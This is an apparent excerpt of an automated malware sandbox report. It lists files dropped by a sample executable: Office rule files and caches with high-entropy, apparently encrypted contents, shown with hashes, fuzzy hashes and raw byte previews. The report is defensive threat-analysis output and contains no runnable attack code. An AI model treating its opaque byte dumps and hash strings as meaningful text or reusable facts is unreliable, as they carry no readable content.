Preview:	.<?..'....t....L./>X..7Q...T).<[.1......N.<.jj8.....pD)2).R......aG..`..........;3......F..h...k.j..<.W.!.' .X..P..&7.......r\|.e.o@kk!Wv:..k`0.T..{T..........K.....jR.9<n.....8..7>..!1QF..;.E.....5....4...=d+5.-.9l...~$...h....!......V......&.lE...sEiM...n.f..Ti..j.P/.%Z. .~o..S.......C.Le...cC$.....Z......j..y.'."p..@...'.Wj.n.;..V...qu.`....`A.O=..M..c.4...wI........"..8....HS.# T.6L.B..C.r.F&+.&.o..6Kt...E....@.....Vh[P..G..i@t.^....k......dW....N.0E#.P....dy.{..\..s..#\B.W.7.I....V]........P7Yu.p<.5an.iV.kr?X)..8j.z.Q..:J.............Qz..a?/....J........e.A.F...X...U....6!-....X@..6....).c..x.('.S.}=....,c;F5fa?....k.&...S.....P......a .6.3....`.K.....T..p#...uH....C.d...... .P.<..tvH.by9...@..q..&..w...un#..>....._.Do......gE..}.....]..o.._..Z...i.!......&i.3..V.Ts.;.S...s.o.x^#...9@..g...w..r..T...X.t..W...v..*.".>.hy~..Y.'......k@...Z.B..C.c4....-..~!!8.Z...~;..pi...C~.. 6.6.ZW..c.2..v.......fl.<....ij.......5'........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.884615724636034
Encrypted:	false
SSDEEP:	24:kPOL4mVB1S1y9SKFHNp50ApMciVBitq0Yc+oVhwTeRKJL26npfYISjrmrUZ+0c0L:kPeBM1y9PtvFpMtU39lmSi11S5cviD
MD5:	DBA3EE2AFE783EC4D86065D9E318ABF7
SHA1:	C05EF6EF3CD00B4CA35ABD67A90EF927F83AEE13
SHA-256:	9E9E35B7F6A69263471770B1E0F454F6050508EFDEF6FD3DCCEF9BB2C31304FA
SHA-512:	0F9F7EC2AAD55F5D091C70AC0BA8BEC4BE774E5C7C94B6D0656D6EC2A2B5FB0189A27EB9018F293A4FD152E8EC5D5592594BDA24C7791B149CC311431744E455
Malicious:	false
Preview:	.<?=.4...6.Am..n....4m..C...9...?...2...s;.&...ye.1.JT.c........&?jU....Y..,..z..E.n..]......,yZ.......DR.....r.!:.....".-R.._.<..#:.f.3..R......k..]...V!...r..m...l..w.."...t....:\|..<..1.....0`/...G....w.........Lh....^........s.<..C.t.k`....0{..e..Xi+e...=:.~.B....Xw...;.......u.y.`Xb..k..VA..V..........jF.a. .$.Sw<....Ori.o.".....7,.....^..6.B......Y.Z.czez2.bj..........C.w..}..o....0j.).....bK.^..;.(...4.J^.dkG.m.?..'.-z....e<.&S0..u..G!.#.K...cG.L.....aWD4.~...<<p....n.".x.R.Nw...YD.X..e.L.7....PQF.......l.....GOk..dC.Bc..'..8.. ..........5...G..s]^..y73\|_..f..r..k.D.P.U......h...("L..+.k.....J}9\|r.V.Ha........o.v.z#..<..........EI.pd...R..'c....1Z....Wj..z<..UJs....E....{.s...h...G.x..O.j7..N.^.S.j9.;......5.\0..T.kv..G..u..^..&q;Xa.Qc-..#.c]..L. ..1..k.E7.V..t^.P.*\9i.6......L)..g...d.F...8`..$......Y(../.J.R..vX...4...LF.f..H..~...g.<K@..^...Q..P!j.....D3.#u...9...O.w.F...5..6.38.?fvAg=..6..8...L.6.P}...Q!E.J.6.:Y.....Kz.)..KT._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.86391058490191
Encrypted:	false
SSDEEP:	24:G6WPqJMEbNjnqOAL9MwwxRLbUoGAaWTgaBdYUCng3wk/pUliK0LsY5UwlwvhLiTW:Q8wyhb1G4PB+g3ewt5rlwJeiD
MD5:	025E79F02FA06EE94C0029DACD7BC3B6
SHA1:	741EE83B7DEAA68C67491BB4C8531B7CEEA0C766
SHA-256:	B184BAD24D818C5A1FC139EC330393188CDC0A82C9B1680F7D88D4C0AC197FCB
SHA-512:	ACF976C2F8100C7E8F271192DE651A0CABFD8E77D1EEB664998A01E6B3C4B57A1098D5D83C8ED11824BF024152BA2D05E570F365B46C91448DF2C1F6CCA481D6
Malicious:	false
Preview:	.<?..&.:....\..Q4...}?Q1..UqQ T..VyB...>....=.BD..S..U..b.z$_.J....h..]..$......A...%/z.8.a....P.F!F..$T....w.F....7<D..P..`:....].t.?...:..IG-s<...._1..N.....](..y.yA.&.`W....}h.c..q....w.2....U!...0..-.....(..1.....R..\|.....h...U.R.......Z..U0.W..h..u.n../ .h.%...<IM.A...e.._B.N.....U..q.'..._....n-.$".b..}..u5.8.R..F.._..z.y..1...RR\qR).A>.....0..b...0=...=wv.R..z....k.e..2..S!...2..bZ>.A..T...T....n'c.i...}[..L..r-ek~.l.j.....}yV.{e.....pF!x....p.......B...cj..)..9....b.....v?.6._....iw..........1_8_..n....F.1......".q';<..@..P.xW.{U.T...hI[..O......n+~..xio.%....e}{..`.3"K.G...>R[g+W._..u.<....@pNs..`.~0O.(.....Hu...5.l.8.58.....s.ca..l.CR..u.6.;VmB.IG..s^.%...T.k.'Ar..Ew.>)3...}...v...B'.q......s..l...L....J.1O....I......Lq..../.a...:4-.C.p.Q.=,.. l.4!...}.A..Q!.\.".8..H].<..t\...E'..X.?U..T.../..87MeMh.........E...m-'A%.....b...U(7..../..T6.F..%.E9W[Z.~ .g GH.5B...f.Q..Ah.a......i.....k....n.Dq[..L.....B.Y~

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.887709367588231
Encrypted:	false
SSDEEP:	48:4nhKTM+NJXMo9MviV14VpIw+RwK7luO+39fe+48HTffW1+DiD:4nhKTZ914v+RwCluV39G+pHTZ2
MD5:	3DABE4DDA7CBBA4AA11B09F3752727B7
SHA1:	6F5E64BF9E647F74C066EA068E731ED06F41ACA7
SHA-256:	98DB2E3C5D38C77278B79F76CD10FDE6BBACF4D50A7E44E10CA5905887C11329
SHA-512:	A161647F72501AFD71C7BC0DC74E3CB8D6E1D80EE40161225150FEA6B466B4F7A2F870A7D44150F8B5766142D57789F1D638998DCBE4E65201813FC2AD8B7D40
Malicious:	false
Preview:	.<?..J..B..p..vF...O..;...T.s.vI..BJWl.lw..3.....'.......O.....t;..r.T..a...{+.....d._..$......S...)...;.....,.6.}..5Y.-MS....nm.RDK.?...-.Fr......m.T....\|t.........P.+\U.......>..f...$..........A.+u?d......@.ry.J...5..OQ:.l..c..nuX..)...A.`%i.S.....O.oZ~M....P(..>..MQ.~.a..$.04.7v...ZQ...;..L5./..P.Y+.8.n.{P..P.%...P.........+...p..M.].....n...c\..=....M.t...dL........}8....n~..#sK......}...W...i....."...4.4..m.......D.\......C.....-.xy.......o..hMEf.....m.[Hc.e../z..F1.B.b..,. 1?z8...P.dOo.,Q.....~.v>.Q...-..J...p...0w....Y.p.~.`..x......7.....4..f<>Ix5...`..."rx_(^gy^..s.w..v.U}...K..2.@........]L..M...Uf..2.....~.(..;.u8.l...%.aV6\...[A...#.'.V4]..=.....h.... .N3.ue......S..:..\|.@.Fs...L.R.,.#.. .~;..#...\......1.Y.q.3.[j.....OS.....bD.B.E.._.`69.WA..)Y....b.f.Z..H.Y.e{=;...S.H....!..7.J.....iV!h.Db..p......t7.7X.......4...F....O..w-.....q?."..ED...".Q.-....u...........R....A.3...(...2.s2.....o............j@.l.......F....]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.877902202746958
Encrypted:	false
SSDEEP:	48:HyxJH8e6Fxa3Ezp/o9jxctVC2VqdFBxGYliD:wJceFUFm1WWd7xGYU
MD5:	6F94BD7AC5E4D683EB10B7FC94DB23DF
SHA1:	183EA5B956F12E15C88EA9284E89134BBF5EEE6F
SHA-256:	BBDF8A9069FF80AA7E8C343EC9F491B2790F4E23F753FC21D1E554A24B2B8557
SHA-512:	E9B26630032A43E7218100EA0FD5E04D5466478454EB2DEC3AA7D10DC053E8F90701EB8E469281CA42916567ADD397E66C4F4928CC674E472252D35BEEDF68DC
Malicious:	false
Preview:	.<?G..(.Q."X.....Yo.+..T7`.,...#..U.e..U...AJ.Y..G.....?p.r N...7......@\|.v0.;1.[G5b.35C/.c.r/.......-.g.g...9.hr.Qj.z..v.M.]...)I.B....,O..6...>RJ.`.#.......3..O+j..Coq....V.kcw.!siJ'.?...P.s.'.l..B'......c..:...<r.n....1L....,..}..dO^.p..\Z6.X)..o...m7}<..4......P..\|.)9.uR..J...&'.[.\...#t.C...k.r.<..m....\m...Y.t...4/v...ZL2.C....o..~..R..z_...c.wf.....%.)..W.S..](.TT.....A.....-...P..~...2J..U.....s.n...pb..J....Y{.#..'..W..Kb.......u(..X.&......R./.&..+.H......l........+.n(.>:.........w..G.Jm@....^.H.J....0.......+...`..8r....W...dk.C).>..l.8=8..n-.....t..!.o>...Q..\|..v..k.Y.....Yj.qa...1c$..5...,V..h.o..2..W....U.0$.I...6........%......"Z...(.~.TTn.S....%.(%+r..k..&.n..}....,...L...hP......+..m....(O...n57....NrW>.H........F...7..0.E...&.7.f..0.%..>... ..hI....%.j..+ .1.a.......Vp=.8..qZ.#.r..W....;.0ap.'.,7..{.Ubxb.t..H8..~g..[......l0Y.@I..I.rwe.LN..F...w...C}<u..6...{...#T. KU$h.C8...e.ch.n......\|...I@f..5....X...D...5.w+....c.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.888779899995632
Encrypted:	false
SSDEEP:	48:bRiNrtzIs4xHHJtLdk2Uj1YPU6JW5VPWbq4NB6oiD:1ix1runTLW2q29JW5VPsf63
MD5:	FC16EA732C71F71DAE6F649FEEE70E4E
SHA1:	4EF27B99737215673142561E7206070124B83B62
SHA-256:	FF8E87348BC9905FF6F6B346B6E6B5EC9B3D2F1F228F10CEC0A918CCE4EAD795
SHA-512:	DF7CCDA14A8CFEFA7041545D81F26F56B5FBA78EC51C203E5BEF026CE0D8ED3F7E0A263A4985B94CF7712704FD936884E9405AD7917158CE367BAF8A6D2F9F9C
Malicious:	false
Preview:	.<?...=}.L .P.8U&gw.....k<q.<../2V./.C...D.....i......&CF.K.9H.q....b1<...Cz'...lF0..V. ......'.v.o..S.....1..`.I.[..#..Nq70t...S1.Ow.T..q...5..e.1c... ..G~N.x..."..h...G../../>...2...7...@mJDp.....Y.(."......,).;.....,.....).J.v}m...J......5:#c...n..r...x.........Q.......3.T...!]1.Cc..1......(^...zy..L.Sw.'.g\..jo=.].B...hVlN.)M...&3c.p}?iAc...=Q...p.............S...].......<.}.kk..Ah.;)..S..-r......v....d?j..aJ..L.z...A.....N..=.$.......0..0.........[..e.!....B.#d...`..Ci`..4.f....T.`?m..5i9.j..\|..P...{...Cwo.1.X...,.op..N_....:.2Ak..).U.n-..d..Q....2.X.4....}....<.Zs.3..Z......w.".-. .9...z...,.}..\...}.g.&[...E.....m(}...1.m......"bj...IN....0R....\|u..j..Y...U.R.[...s.....I.O#:^.]..`......!.e.F(."...BO.&d.....u.+..z......I.U`...9~/L_.I`....U.....^.Sy....%...., 0..]Pq.<.E....q...g.{.....3.._.yUI...D:...r../k.(.{..*..U.,.G.......b........sb....Q...x..\|VFcQ....e..$...x.UG.;...-....]...h...).....X...mw,go..<b.=..C.u...l......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.862485089483918
Encrypted:	false
SSDEEP:	48:cuy9dhqmj0zH9nEfsvTGSfs2EC51rpSWMoYXUiD:M9dhqm4jRXvTGcf51YWwXT
MD5:	26A7247535D31652D027FE972E992FB0
SHA1:	9E9A20B1E6BA2364D8D44103787FBDD4C601DF64
SHA-256:	A45EEFDBEB3B254A6C94AAF5A12F69A931653D273FCA3BC184B02D05040920D0
SHA-512:	65493F1AD7B07F37C442EDA17F5D09F6462B2047ECCF05406B046A12292B1F3860081C38729980BE9524A799FB70429037F8A7CD8309525ED7561C3576B81A05
Malicious:	false
Preview:	.<?.Y.w.....\|.....f...p..`oI2.x.........L..A(8...4.c..JN(.c.F./8.....D.LX.&v....a.h.. V...0j....Y.0......h.t+...6.>.7z}.. .C&./...+......K....J.D..4.:.W&...ke].[ce.....q....Q..\|({....7..x.W...]Z.Z<..Y...o.6..:...`k.A.....:..U.RY)...:.A...M.. ...P...c....y..E.JwZ.%..zo...>j.S.s.h.!I....h..@.O...U..\.`.e...e.i...ki..8...;........$....Nh.o.z.m.....:..-....kS..B-34.;.J.y...4.Fx.O.d..@.:.....vP........A.{.g..z.y#...^.7..f2.(...A....:u.,h^.^...3.sr>3..3...B...ZRaH....=....1..z.O.43.2.:.....E7S.LGFx.Vxs..#H....<D5...=W....23,(...?..?.?..h...M.F@..L.},.A..U...8P.w3...!....w.i......X.k.'v.f..U\.........2.2...W.p....IdW.l.uO....}.cgp.......?...)&.........-l '...,&..5..\|....M.3....c.H.7....g~m.....\.&...^.*.2..k...\|9.6..n..A.....P#..L.."....T....k............Csx"0.....1Y.[.....-...7c?S".....\|\|.....E..$D....E.e..X1...k-..c@36..K...\6;..J...b.....e.._..s....$1.h..jG...q,+p.U.,........i~{...a'....TxK..r`}(>.g..m.wO........\....VZD-.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.893416758182346
Encrypted:	false
SSDEEP:	48:3jQfYUSQHq31AoktG9XgAduDrcQOmkIcxEJiD:Uf+ktyXgs/lI/Y
MD5:	0D6A243A2E3A0D20DFF7B63DCC8487F0
SHA1:	ABBB0B229E1D2D0FD07433258560E1B3EC51B401
SHA-256:	3D883F785F5F4B4EAA232ADA124C66F8117180DD75DBADB704EE8DF5F098E4DC
SHA-512:	68CDB1B9A291E869768FEFF1AA2141696C134F4C93B5B45BCAE6DB18057AEB1A9268E11C393BF067F75A906FBF01A4E635BE51F61E132F183710EE9647B92D1F
Malicious:	false
Preview:	.<?V.=...1:.!.d..n.!m.....l+"+...h....5r.T..7c.N...Y..5.s...1.>.....8......`./}b.....v.:<..\|V_..D......DU9......c......?.L.....pX...f.V.....%z./B.(..,.].........Z.F?w..n........c..>..L...;5............"-......BD}...c.....r..1...g#.......&..-gD.0!3..@.U._.4?...T\W...n...<LE D........(.+H.....\..(.z.+.....7./..e...\|.@.g..... 0s....F.0.._. .5.../W..x.'...9.3%..IG.+(R, .>ni.N..P.DN......S%...5..PFf.\.W......h..;..S...<....vUuw._M/.d.z)..Pp..,..,.i.t..ka..J=...YHX...~@3.idx`@..Q@....c(....)..:\|.2.u..`...K..Q...M....E.V...[v.W..=s/.%...Z..~CJ...Q2^.......R.j;..2.[[.c.>.....\|.+q...W...;Df.dU.=y..(....4.....%...$...0.;.....CX&..hC.W2. ;.e......".....RK.q.......K...t...v.....Ib.$..D........:.D.S.R.'.....}.r..9yf.3.O.[V.I..c.9...JM7.."....@F..F.......,.3/...%d...$......N.5.3.......N....p........i.ih.p#y..3..z......_.....@.y\|..w.-..qk\.3....&.....<..&....`......;......-....-A..w..P...rk...q6./j..+)p..u...5j'.......(..x..?...P*l..w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.886806691990305
Encrypted:	false
SSDEEP:	48:dcVuM02Fqoqcd+EOfexA0/ljvVO0ktDqb6iD:qZxqoqcBNXljrSYd
MD5:	EEFA9DA61A0E9DA069A05E95ECA7699B
SHA1:	E7E5C23564DE61A9BA795A5A58E9F6BD16E057D3
SHA-256:	45F0DBBDBB380A2967B8FEB5024CA97AA989B47A9B43474254771D8A426CB27E
SHA-512:	1CDD9AAF008403E6116D78150551074122E8DAE751BD54EE3D7DA83D6B872992CF100778F5555F271AD7112DA2A53E7C432EEA48557C5FE92A0FAE02CB84118D
Malicious:	false
Preview:	.<?. `...9.t4(l....E..5._.,.F....vo.yY~Z...)..kY.~.\|U...-..,..Q..-....[R..0...s.y}..<.SB.8.l.R..@..S..9......%)...D......&......h.(.G.U....j?<.6F}....d..........A..(}.....m..v.K.?l.Gp.2xB......Zi...9...."Q.(..pN0..*.i.ect.....0...j..o..-....846.e...u.Iw;O...G,d.W+....d.3+.s...0!.+f....v..........R.g..&.>l.O......6...hl..M.Z+:....M........~..e.W.w..6}..kx.{Q...~!..":....\hIB..u.Z......}...L.V6....B..E7..y.:+V#S=.'....<...I...[..`G..`.................f.5::..N..D..n.......r.Gx..uH..7..Z.Y).N7...PF.`.........rq..7.?........U..o.xlC.7....5-.....]d....Z..V...#...g..C.(v..2..-..&.._$....\.&..\|.U......#.]d..U"..r.E.......pS....z..5.y.E.....N.C.M.Y#...FQ...2=...#B.H..J....D6....w......k...0........5...i....`.......o&./qu[\.5.LT.d....U&...!..8l/...k..v..\|c.....Oh-.{.M#.X.0o<..u..!....B].]...!n...c.<W.9.Y:<@....!..q._......W.....0...D.],...E..%.VX..j...?.....[....g..p.....H.$NE.T{....xJ.Ji..-......~...7u{.....`/.w=.5.d

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.882327802121358
Encrypted:	false
SSDEEP:	48:SQjScmdpkLWFV2y7/DilKHjGLglX9EJw2OP8IiD:SoMpkLWV7/DilORXsw2OPm
MD5:	72E2E0B7AE3BAE89B4CF855092ADA5A1
SHA1:	5ED8A1D82E3FD2904C819E57A8AB753C93ED59D1
SHA-256:	33D4AF027C3E6EAC7F67CFF6FFC00CA34D5EE0D9915BE005ECB0D60703F2AD43
SHA-512:	8C0C4DB9FC40226B67DFCA740C1CA199D22E9ED652BC9FF143A3D1934A10ED805B3CF33B99089760661960FEE5B9E5B64CFF78A6C13D94DCB77EFD4697FDF3B8
Malicious:	false
Preview:	.<?...}o.p.Ou...#T.]f.}.z.P.8.Qs......0..5.l...)..c......j?1.it[...\....qfP..Q.r......xU.$..^.h..it.....\|.9..G.\p.d...[s...8.0..>~.#.Z.S~.5.k....xb@.@.s.w....X.R.......G..t..C.!l..1[.......r.eLT..$j.@.........b...7........!._f`..7..%.....E/._ ......8z..a\..?.....c..!z&. .\.1W..nS....F\|2m..q.......&S ..u..?"..OK);.v.G...`...c.tqR...&..G....c.. .q.....j>m.@..........................<E..y....E_2F}..F.7u..M@op.e...z..N.G;i..p.?2...<...?dnu&.:.V..bL.../..[.[N.>5..s..o)^...a....qY..RT..I..q...km....k.._zE.`:q..S..AT.Gyjcw.o..$..=Xs..}...:.$B-).......H:.w@."...........M.......=X}.^.jQ.J,..X..J..q0@.U.[.u.&.t+.&ur.j.gY.;O.v.1.,.5)...o.9D...;a........;8c<.i.......:J=....B.w;g.<B...C'...c.q.%.cSN...}.#...5.=.<Z...EH..i...#......y....V.\S..F$..xF...G...b..P.."C........./Z5.$.VP.}..!...G@.......GQ.....R.h#..e/....>.u.h...rq.....~..m.z.21.....J.b.#.Q...e....>.uE...v....1.W.X. %~.e..W...........a.C...).@_3......J1.g...?.#.....:...... ....%.....6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.8980176191984075
Encrypted:	false
SSDEEP:	24:1I4vv73RBRIQyluLY/XulXarXK7DpVpVQHxautc5hCLj4bjW1QFtjiTkbD:agInYLY/Aar6HPpGpcbjW1QFciD
MD5:	9FDF850F6AE36DD98258BDAD678796F8
SHA1:	53045EC22527AA474932EED273915985DCFB9004
SHA-256:	62C1901FEFCE38CFDE806A7351A68588FAD0A0FBF358BF47A9F9D45FB8842C4D
SHA-512:	1FAA03E80B8C59B2AE1D1289F23A32ACC941C7F68F3AE2289732153F91CA77FF8A5475D42E911891E78B67D22E605B075F56A3136261513CD668124C9AEA25E8
Malicious:	false
Preview:	.<?......R.R0N{....&...}.4..(.WS..._."..s.E..j5.]./...jM..B._..ve.....dg.;.V...s~+Lm..l.......;.6@.Zbo-UV$...G.m............T..F...6...=Qq..x.L.d.4<.!.0v-...U1...c.r.h.6..a.n.\^...@.....K....i.w@.l....1.c......'.b.98X.$....\|..].{.ST.A..d<N..~..A..:J..F.{...x&.-(.i.Aa......l......{_O#~........y..Y.!....+q.e........+P3....m.Bf....DS...}..BvN...O.T.a}.L.....x8.S.D.....J..].XeD..TgaU4...j...........;_..A...F..s....{:)o....>3..h.q3W:GW.H$...M.y..b....f..:L\|.K9.@V..s...&.......ifs.$.2.D...D.c..?...u<...?...<.'..Q..3j....k.{..M.\1..F.,..7q..=.b.S..Y..$/..M......x.a.......b.V.tK....-.d.3Y}....i."K..?...}..(....J..?.{...vs.H(>.}.+...M6..y..I5f...at...q.`l."g.....z......LX..r2`.O.rT_..s.>^X%J..G...:..*..S..+.....H..(..ro.;a@%r@........jI.F..`X. y(....f...@..(...0..m..u.Y....g..b..?.....(.j...&... ..\.O..H.4.a......>'o-.T.$...2.-...Y.=.m.._&..........Nh.f]O.KY.h..$.>..+...&.2...4~.Y....F<..o.be..y.z`...Y..C...-...N........V.-.L....2Ba ....1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.886694253172516
Encrypted:	false
SSDEEP:	48:eSDpQE0jD4ZPFbznF4P79KFyJ89dMceFiD:NDpqKFbznaP79K/t
MD5:	F2819878B839B55F19D020A11CCBF648
SHA1:	3DC809C1F03D90E176ACBEF86258A290CF59E7F6
SHA-256:	CD3E66112488184137F88486DE1FD912FB852DFA80ABA60203D9A75659CBCE15
SHA-512:	4849502E68F0314FC69F672843B67BCEA1FBA272548CAAA02204D07AE2CEA4E3D75B5BBB2A3D77CC29D913CE5429343E36E81E5FABF13E8B934F6FFB00F1AC2A
Malicious:	false
Preview:	.<?.nb.......J.....;....b7[.t...%.1..Q......).;.4...l.e..............J...\..4L0.O...I..^..n.....$.`......>.Z..lX...F............t..Z...&.sX.........~..J...Qt'NTy..a..J.~Y}1M.bU....;...s.>.......q!J..#E..5miC.K_.N..3.T..>[a^!..Kr.!.....L-PS;.A.....7q.....d.?...YR.e..<o .om.d..F..).5g8.l.L.N:...l...}(DC.j....G.#.7...."E..=@P..#.$O.....5t...L.c..J.........w.yu..@.......\|u.DR...%.Di.]F....{..\|.].6...IGH.....&..lT.</d.........f._.@..?.=S.C..6K.T8.....E.<i...n9+@C............T0...-.$\|..P.,....!o..v=0=_W.P-p....y..j......i..y'<YVl..uT.I.@.}.....?...ty....Z..Lb.?.j1^..jx[.....z.[.Z..k.2.......w.+...OL\|...p<.k].3...f.Q.tR.........(I....s..R..W.R.<..."N.q.lq..:..Y.K.v...kt.~...D3W.;...w.8x.....K9...mg..{c..K.hu..^...F.....7.p8.=.Mt.......5.F(...q;\|...S.Q.....r#..G.......j..............K.....l.....u.WS...=..G..\|m.....<u..,...x.A[....R%R....,. {...0>.[#1D~...A..:;.rD..?.l...].S .@sJl).}paO..#...-.'.+...Z..mJ2f..r.._.b2..q.~F$.uW.x......).?_

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.867706975242406
Encrypted:	false
SSDEEP:	48:H5/eYyrLb1th2P1i95BVULkVaIl7T7oqsq6iD:H5/eYyrx5bUuoqsqd
MD5:	F6296C5B1AB7805FA579E8068F68A55E
SHA1:	CC4CEAAA0F23B44F42CD67C814BA6A284971A464
SHA-256:	5100CA80B5CD76AC4E65C195579478CC2C01129C10DC9D19D61641996396ACFF
SHA-512:	00E11F21D8DDFABD47090942356569103146ABDE8F0053A6EAE6F36B88A57280FD3284FFC29F4FB8E8F9F36FE6F01E36A3F1A23CFF192B854E2C1E97CB6DEB74
Malicious:	false
Preview:	<?xml\.l..QV....99..:...Eq..@&..0..'..R.....x..C...h.7.._..k.&3...1N&...(GA.7....)_q3.........p.j.T._.DY2.....]%...v!.......j....wE.S..}.._..@v.....T" l..../..+.v......G.....<.b.l1.[?zK..+..P....).$...G....]A.....m7.X..K...\|.N...!......N.O...-;..I...Gl.6F....C..3..M.9.X...78....3..zn..)..4..3).......h.G...U.a.....\|e..\n.4.L.;...x.pvwM.y@xfo..R...&...N.g....2..._....@.. <.>W..%.U...K..E.J/..q'...Jz...H.1+.$\Q..\fE..6=.....t...}.l.IA5..(......h.(.5K....hO..T..`.`.T{...y%..K...M...{_Ic..eS.K..mz.J{.r.na..L....B..$.8M.....]<z..n...I.......v.U..Hl.\|......@.nH.\.b....Q..Y9-..i.9......C..2C.+Q$.k......k..._>...p.I.r...x..9N.\|..^..QO......>t...4_$...."...........XF.'.b.08.Bz,.K>...,W..S6.....$.P\.O..%~.7.WT...`./..t........9s...>../.$h....A....W3.BCf....O./....j0......[k. $."&.t....<C'..I..A.."...F.#.....'.W(.L5..r.4..P.@.B.-.q.....C.$\|..z..YI...eV...e\...\|.x..C+....K!..aT.j...F...1.b[..[s..@.s.....:.)...L......&z.._....

C:\Users\user\AppData\Local\Microsoft\Office\Features\1-7FeatureCache.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1098
Entropy (8bit):	7.793773345913258
Encrypted:	false
SSDEEP:	24:I3DjYzIVKUyIxY5dIysHsjFNrHl5S2vyZQ7LiTkbD:ITE0oaysYrrHl5bCQSiD
MD5:	78680D8C5A3C49E34C4A2E750636DD6F
SHA1:	11BE5B8569E582F20A7AC9E7BA52F00FF60B4E43
SHA-256:	BC152BBD330839B08E670D7A3AE2DD5FB6565325E92E2AD3EE8D92E88283AB34
SHA-512:	16127E85EBFF3D2050AB89C533B8C10FC58F9AF8FB3AA68629B3DA2DC91D37BD0691D5B234AEC10E43CEC9A2177258AD89C894E2B4303D92ECA9CF09E3042B33
Malicious:	false
Preview:	3.7.4..-..!i...r...H..)...rP.m"8. .........i... .E.RSN.r...O..F,@`....122..].V..........9/r..5..O.{.2k.c....d.....3...k...w.(...=.&. .Q.".q...-R.Nq..#.Z.Dg..Q...J..:...{...,.....\.U......R..3#.^...'....]]So...&..&....P.)...1.....c.DS.~K.y...E.J?@.J,..m...2..j_W...63..y:q......k&u..GRC...2.>.....6.$O.T..e.d.8.j.'..Ja...._..@....m..."-;.1..p.2.$:..P.?.7j.M...Q".r.+....%.gm_...'...6...H..CZ..o..cQ.q^....yRG...]..{...&kk .c.Uo,.>y.L.L.:.yg.....7.......x..t....!dYnj.\B..y....W.lG.e.>.".\-m...Kvjc...it.#.i.w.....jY....4.....0%.`v.I.3y+'8.........?.p.U.G..z...\|..A.K+#-[x.x.N'.BPA.e..a...a.....N.Q....]s]&2..m..$....O.!g9r.uM....M.$.r7j....C......&^#..[8$..#w.......... .,.L.ug.k7..fB...".4.P7..jc&Y.$....T7...<#....".e!.>g-.!\kq.#>#O....WN.&j.....e..;....-4#4q.ns.........a.!x.....dJ.....[& `..["F.'O.o....x]...~.`..t..I.........C..J........]y..p....j!.[..TK.h..P..#...&.l:..)*...B_.....8..m..!;+......4..cg(.x.ND%.~..,..t...5.\zVa......./.R..j.....B

C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.99160651833988
Encrypted:	true
SSDEEP:	384:YgOegP/AyztIYZVVCaR/Gft6rAMSXoFv778akXRavIDeDuvTW3+mBP9wA:HgP/bzLgalGV6oo5UayRXDeDEq3wA
MD5:	4D06D6DBC8EE567BB5DD6B6A2C3D83E8
SHA1:	1B3A8B82399D029B53546D12AA265DBC2D58DD42
SHA-256:	BB4C48202C51C9C489557A8D51BBA81CD6E7FAACC2E5C73F987369D4BD3DA5DD
SHA-512:	1DB17C344763D9917DCB3F963C6212A41D191CE90CFAA694C735BDA3C4DEB52D5F1242210CFA4AF216F61F76C9C95933474AC56C448CFEFD5F4C2AA2A0ED40EA
Malicious:	true
